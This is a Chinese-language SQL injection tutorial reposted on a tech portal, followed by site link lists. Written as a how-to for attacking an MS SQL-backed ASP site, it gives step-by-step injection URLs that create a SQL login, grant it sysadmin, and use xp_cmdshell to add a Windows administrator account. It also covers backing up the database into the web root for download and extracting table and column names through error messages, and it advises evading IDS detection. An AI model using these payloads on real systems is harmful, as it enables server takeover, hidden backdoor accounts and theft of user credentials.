SQL注入实战---利用“dbo”获得SQL管理权限和系统权限
来源: 作者: 出处:综艺读书 2006-09-30作者:覆灭之魔 文章来源:影子鹰安全网络
刚刚开始学习SQL注入入侵,有写的不对和不好的地方希望各位师哥,师姐们多多指导。
在一个供求信息发布的网站上测试了一下,页面Http://www.xxx.com/new/new.ASP?id=49
|
|
|||
我做了如下测试:(1) Http://www.xxx.com/new/new.ASP?id=49'
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e14
[Microsoft][ODBC Microsoft Access Driver] 字符串的语法错误
在查询表达式 'ID=49'' 中。
/new.ASP,行36
(2) Http://www.xxx.com/new/new.ASP?id=49 and 1=1
(正常返回页面)
(3) Http://www.xxx.com/new/new.ASP?id=49 and 1=2
Microsoft OLE DB Provider for ODBC Drivers 错误 '800a0bcd'
BOF 或 EOF 中有一个是"真",或者当前的记录已被删除,所需的操作要求一个当前的记录。
/new.ASP,行42
注:上面的测试已经可以看出有SQL注入的机会,我们用下面一个句子来判断他数据库类型和登陆身份。
Http://www.xxx.com/new/new.ASP?id=49 and user>0
Microsoft OLE DB Provider for ODBC Drivers 错误 '800a0bcd'
将nvarchar值 "dbo" 转换数据类型为 int 的列时发生语法错误
/new.ASP,行42
注:如果显示"dbo" 转换数据类型为 int 的列时发生语法错误 那么就可以用我下面介绍的方法来获得系统管理权限,如果是"abc" 转换数据类型为 int 的列时发生语法错误 那么就用不能用我下面的介绍来获得系统权限了。
获得以上信息后,就可以提交以下URL来一步一步的获得SQL管理员权限和系统权限了。
(1) Http://www.xxx.com/new/new.ASP?id=49;exec
aster.dbo.sp_addlogin fmzm;--
添加SQL用户
(2) Http://www.xxx.com/new/new.ASP?id=49;exec master.dbo.sp_password null,fmzm,fmzm;--
设置SQL帐号FMZM 的密码为 FMZM
(3) Http://www.xxx.com/new/new.ASP?id=49;exec master.dbo.sp_addsrvrolemember sysadmin fmzm;--
提升权限:加FMZM进sysadmin管理组(有时候会不成功,就常识下面的句子
;exec master.dbo.sp_addsrvrolemember fmzm,sysadmin-- 为什么会这样,我也不清清楚,我就遇到了?栽 。。。)
(4) Http://www.xxx.com/new/new.ASP?id=49;exec master.dbo.xp_cmdshell 'net user fmzm fmzm /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
建立一个系统用FMZM 并设置其密码为FMZM
(注:/workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes 这些很关键,如果不加这些,你建立的用户很有可能无法登陆,这些是启用你的帐号,并且使密码永不过期的一些相关设置。)
(5) Http://www.xxx.com/new/new.ASP?id=49;exec master.dbo.xp_cmdshell 'net localgroup administrators fmzm /add';--
把帐号FMZM加入到管理员组
OK,到此为止,已经得到了SQL管理权限和系统权限了,还有什么不能做的呢?把上面的句子变个形 开个TELNET,或者用SQL连接器去连接,随便你怎么整了,记得别暴露自己哦 :)目前有些好的IDS已经开始监视xp_cmdshell这些关键字了.
附:
(1) http://Site/url.ASP?id=1 ;;and db_name()>0
前面有个类似的例子and user>0,作用是获取连接用户名,db_name()是另一个系统变量,返回的是连接的数据库名。
(2) http://Site/url.ASP?id=1;backup database 数据库名 to disk='c:\inetpub\wwwroot\1.db';--
这是相当狠的一招,从③拿到的数据库名,加上某些IIS出错暴露出的绝对路径,将数据库备份到Web目录下面,再用HTTP把整个数据库就完完整整的下载回来,所有的管理员及用户密码都一览无遗!在不知道绝对路径的时候,还可以备份到网络地址的方法(如\\202.96.xx.xx\Share\1.db),但成功率不高。
(3) http://Site/url.ASP?id=1 ;;and (select Top 1 name from sysobjects where xtype='U' and status>0)>0
sysobjects是SQLServer的系统表,存储着所有的表名、视图、约束及其它对象,xtype='U' and status>0,表示用户建立的表名,上面的语句将第一个表名取出,与0比较大小,让报错信息把表名暴露出来。第二、第三个表名怎么获取?还是可以
自己考虑下。
(4) http://Site/url.ASP?id=1 ;;and (select Top 1 col_name(object_id('表名'),1) from sysobjects)>0
从(3)拿到表名后,用object_id('表名')获取表名对应的内部ID,col_name(表名ID,1)代表该表的第1个字段名,将1换成2,3,4...就可以逐个获取所猜解表里面的字段名。
·网络管理实用手册 (18187篇文章)
·系统安全设置 (18705篇文章)
·系统安装手册 (16385篇文章)
·系统备份专题 (13518篇文章)
·Windows权限设置 (7798篇文章)
·系统维护手册 (13057篇文章)
·数据库SQL注入攻击 (126篇文章)
·快速掌握MySQL数据库中SELECT语句 (0次浏览)
·数据库新手入门之MYSQL出错代码列表 (0次浏览)
·MySQL 5.0新特性教程 存储过程:第二讲 (0次浏览)
·教你如何在MySQL数据库中直接储存图片 (0次浏览)
·MySQL是否值得我们选择的正反五个理由 (0次浏览)
·搞定MySQL数据库中文模糊检索问题 (5次浏览)
·如何使用ODBC接口访问MySQL (4次浏览)
·使用ODBC接口访问MySQL (4次浏览)
·如何利用MySQL加密函数保护网站敏感数据 (0次浏览)
·快速掌握MySQL数据库中SELECT语句 (0次浏览)
·数据库新手入门之MYSQL出错代码列表 (0次浏览)
·MySQL 5.0新特性教程 存储过程:第二讲 (0次浏览)
·教你如何在MySQL数据库中直接储存图片 (0次浏览)
·MySQL是否值得我们选择的正反五个理由 (0次浏览)
·MS SQL Server MFC DAO 类和 MFC ODBC 类:我 (59次浏览)
·动态创建MSSQL数据库表存储过程 (43次浏览)
·Windows环境下的MySQL: 一场精彩漂亮的比赛 (42次浏览)
·详细讲解MySQL 4.1数据如何转换 (36次浏览)
·MySQL 4.1 数据如何转换详细讲解 (35次浏览)
·UNIX设置MySql数据同步 实现复制功能 (29次浏览)
·MySQL宣布Cluster数据库基准测试结果 (21次浏览)
·在.NET环境下访问MySQL数据库 (13次浏览)
·影响MySQL中mysqld安全的四个选项 (11次浏览)
·快速掌握MySQL数据库中SELECT语句 06-22
·数据库新手入门之MYSQL出错代码列表 06-20
·MySQL 5.0新特性教程 存储过程:第二讲 06-17
·教你如何在MySQL数据库中直接储存图片 06-16
·MySQL是否值得我们选择的正反五个理由 06-15
·如何使用ODBC接口访问MySQL 06-07
·使用ODBC接口访问MySQL 06-07
·在.NET环境下访问MySQL数据库 06-04
·搞定MySQL数据库中文模糊检索问题 05-31
|
|||
| ·ACDSEE专题教程-下载使用 ·迅雷专题教程-下载使用 ·Windows XP频道 ·Windows Vista频道 ·Windows 2000频道 ·win2003频道 ·Freebsd频道 ·Oracle频道 |
·Linux频道 ·Windows频道 ·邮件服务器专题 ·协议大全 ·数据恢复指南教程 ·FreeBSD使用教程 ·Linux数据库宝典 ·Linux基础知识 |
||
| · 秘密:Vista隐蔽的动态屏保 · 腾讯开发新电子宠物--QQ熊 · 惠普否认2999元PC有价无货 |
· 驱逐Win系统“流氓”文件 · WinXP中获取未使用的IP地址 · 尝试format C:格式化硬盘? |
| · 在DOS下恢复回收站中的文件 · 拯救WinXP崩溃的救命稻草 · Linux系统中超级权限的应用 |
· 搜狗PK谷歌:谁能代言拼... · 昨日重现,一键GHOST轻松.. · 实现Web迅雷在空闲时杀毒 |
| · AVIFile函数制做AVI文件 · VC中链接动态链接库的方法 · 熊猫烧香核心源码(Delphi) |
· DateDiff函数祥解 · JavaScript去除空格的三种 · js效果 图片加载进度实时.. |
| · SQL Server数据库优化方案 · Oracle的初学者入门心得 · JSP连接Mysql数据库 |
· Photoshop为美女做艺术处理 · 用Freehand创建发光字特效 · 设计自己的个性QQ动态表情 |




